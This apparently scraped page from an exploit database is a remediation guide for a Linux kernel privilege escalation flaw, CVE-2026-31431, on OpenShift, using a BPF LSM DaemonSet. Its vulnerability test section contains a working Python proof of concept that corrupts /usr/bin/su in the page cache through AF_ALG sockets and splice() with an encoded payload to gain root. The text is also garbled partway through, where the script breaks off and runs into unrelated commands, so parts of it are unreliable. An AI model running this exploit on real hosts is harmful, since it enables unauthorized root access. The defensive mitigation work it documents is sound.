Share
## https://sploitus.com/exploit?id=98D5C521-5651-5FA1-BF38-A453EB2D3078
# CVE-2026-31431: Zero-Reboot Remediation for OpenShift 4 via BPF LSM

> **Tested on:** OCP 4.22 | RHEL CoreOS 9.8 | Kernel 5.14.0-687.5.1.el9\_8 | CRI-O 1.35
>
> **Updated:** 2026-05-01

## Summary

CVE-2026-31431 ("Copy Fail") is a Linux kernel privilege escalation vulnerability
in the `algif_aead` cryptographic interface. An attacker uses AF\_ALG sockets with
the `authencesn` algorithm and `splice()` to corrupt arbitrary files in the kernel
page cache โ€” including setuid binaries like `/usr/bin/su`.

This document provides a **zero-reboot remediation** using a BPF LSM DaemonSet
that blocks only the vulnerable `authencesn` algorithm bind. It was tested
end-to-end on three separate OCP 4.22 clusters.

## Quick Start

```bash
# 1. Verify BPF LSM is enabled (RHEL CoreOS 9.8 has it by default)
oc debug node/ -- chroot /host cat /sys/kernel/security/lsm
# Must contain "bpf"

# 2. Deploy the blocker (image: quay.io/mrunalp/block-copyfail:latest)
oc apply -f daemonset.yaml

# 3. Grant privileged SCC to the service account
oc adm policy add-scc-to-user privileged -z default -n block-copyfail

# 4. Verify
oc get pods -n block-copyfail     # All nodes should show Running
oc logs -n block-copyfail -l app=block-copyfail
# Expected: "block-copyfail: blocker active โ€” authencesn bind blocked"
```

No reboots. No node drains. No pod restarts. Protection is immediate and
covers all processes on all nodes (100% coverage).

## Table of Contents

1. [How the Exploit Works](#how-the-exploit-works)
2. [Confirming Vulnerability on Your Cluster](#confirming-vulnerability-on-your-cluster)
3. [BPF LSM DaemonSet Deployment](#bpf-lsm-daemonset-deployment)
4. [Post-Deployment Verification](#post-deployment-verification)
5. [Building the Image from Source](#building-the-image-from-source)
6. [Removal](#removal)

---

## How the Exploit Works

The exploit chains three kernel features:

1. **AF\_ALG socket** โ€” creates a userspace handle to kernel crypto via
   `socket(AF_ALG, SOCK_SEQPACKET, 0)`
2. **AEAD bind** โ€” binds to `authencesn(hmac(sha256),cbc(aes))`, a specific
   authenticated encryption algorithm
3. **splice() + sendmsg()** โ€” the kernel incorrectly performs an "in-place"
   operation where source and destination page mappings differ, corrupting the
   page cache of a read-only file

The attacker corrupts `/usr/bin/su` in the page cache (without write access to
the file), then executes it to gain root.

---

## Confirming Vulnerability on Your Cluster

### Step 1: Save the test script

Save the following as `cve_test.py`. It reproduces the original exploit's page
cache corruption against `/usr/bin/su` using the same payload. The corruption
only affects the container's overlayfs copy, not the host.

```python
#!/usr/bin/env python3
"""CVE-2026-31431 vulnerability test targeting /usr/bin/su."""
import os, sys, socket, hashlib, zlib, ctypes, ctypes.util, subprocess

libc = ctypes.CDLL(ctypes.util.find_library("c"))
libc.splice.argtypes = [
    ctypes.c_int, ctypes.POINTER(ctypes.c_longlong),
    ctypes.c_int, ctypes.POINTER(ctypes.c_longlong),
    ctypes.c_size_t, ctypes.c_uint,
]
libc.splice.restype = ctypes.c_longlong

def _splice(fd_in, fd_out, length, offset_src=None):
    if offset_src is not None:
        off = ctypes.c_longlong(offset_src)
        return libc.splice(fd_in, ctypes.byref(off), fd_out, None, length, 0)
    return libc.splice(fd_in, None, fd_out, None, length, 0)

def d(x):
    return bytes.fromhex(x)

def try_corrupt(fd, offset, payload):
    SOL_ALG = 279
    try:
        a = socket.socket(38, 5, 0)
    except OSError as e:
        print(f"  AF_ALG socket creation failed: {e}")
        return False
    try:
        a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    except OSError as e:
        print(f"  AF_ALG bind failed: {e}")
        a.close()
        return False
    try:
        a.setsockopt(SOL_ALG, 1, d('0800010000000010' + '0' * 64))
        a.setsockopt(SOL_ALG, 5, None, 4)
        u, _ = a.accept()
        o = offset + 4
        z = d('00')
        u.sendmsg(
            [b"A" * 4 + payload],
            [(SOL_ALG, 3, z * 4),
             (SOL_ALG, 2, b'\x10' + z * 19),
             (SOL_ALG, 4, b'\x08' + z * 3)],
            32768,
        )
        r, w = os.pipe()
        _splice(fd, w, o, offset_src=0)
        _splice(r, u.fileno(), o)
        try:
            u.recv(8 + offset)
        except Exception:
            pass
        os.close(r)
        os.close(w)
        u.close()
    except OSError as e:
        print(f"  Exploit step failed: {e}")
        a.close()
        return False
    a.close()
    return True

TARGET = "/usr/bin/su"
print("=== CVE-2026-31431 Vulnerability Test ===")
print(f"Target: {TARGET}")
print()

with open(TARGET, "rb") as f:
    orig_hash = hashlib.sha256(f.read()).hexdigest()
print(f"Original SHA256: {orig_hash}")

payload = zlib.decompress(d(
    "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
    "209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
    "c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

fd = os.open(TARGET, os.O_RDONLY)
i = 0
ok = True
print(f"Attempting splice + AF_ALG page-cache corruption "
      f"({len(payload)} bytes in {len(payload)//4} chunks)...")
while i  -- chroot /host cat /sys/kernel/security/lsm
```

Expected output includes `bpf`:

```
lockdown,capability,landlock,yama,selinux,bpf
```

If `bpf` is **not** present, a one-time MachineConfig is needed (this is the
only scenario requiring a reboot):

```yaml
apiVersion: machineconfiguration.openshift.io/v1
kind: MachineConfig
metadata:
  labels:
    machineconfiguration.openshift.io/role: worker
  name: 99-enable-bpf-lsm
spec:
  kernelArguments:
    - lsm=lockdown,capability,selinux,bpf
```

### Step 1: Deploy the DaemonSet

```bash
cat /block-copyfail:latest .
podman push quay.io//block-copyfail:latest
```

The Dockerfile uses a multi-stage build: Fedora with clang/bpftool/libbpf-devel
for compilation, UBI 9 minimal for the runtime image (~122 MB).

---

## Removal

Deleting the DaemonSet immediately removes the mitigation on all nodes:

```bash
oc delete -f daemonset.yaml
# or
oc delete namespace block-copyfail
```

The BPF program detaches automatically when the loader process exits. No reboot
or pod restart is needed.